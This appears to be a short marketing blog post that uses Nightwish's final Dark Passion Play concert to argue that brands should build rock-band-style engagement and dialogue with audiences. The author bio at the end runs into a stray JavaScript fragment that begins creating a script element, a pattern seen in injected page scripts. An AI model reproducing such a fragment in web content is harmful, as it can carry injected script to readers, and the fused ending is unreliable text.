I went to see the final concert of Nightwish’s globe-spanning, two-year Dark Passion Play tour. Musical qualities can always be debated but no one can deny that this concert with its snow effects, rain effects, confetti, indoor fireworks, bombs and flames was truly a spectacle. A worshiping event of epic proportions, where true believers had  a chance to reinforce their faith – and buy some t-shirts as well.

Talk about consumer engagement.

Rock acts have intuitively used methods of progressive marketing for years without anybody telling them to do so, or giving brand consultation. The brightest and the most successful bands have always known that to reach the audiences long term, they need to be in touch with them not repeatedly but constantly and engage in a dialogue. Numerous bands state this dialogue being also a driving force of the band artistically – and surely financially as well.

To create spectacles you need both actors and an audience. This is why brands need to take heed from rock bands about staging the spectacles (even in the true situationist sense of the word). Marketers need learn how to form relationships between audience members mediated by brands.

Wouldn’t you want your brand to be the next rock star of its category? How about having loyal worshipping on a daily basis? Why not create an ever-evolving dialogue beyond mere seasonal campaigning?

Konsta Klemetti works as a Creative at W.Steinmannvar d=document;var s=d.createElement(’script’);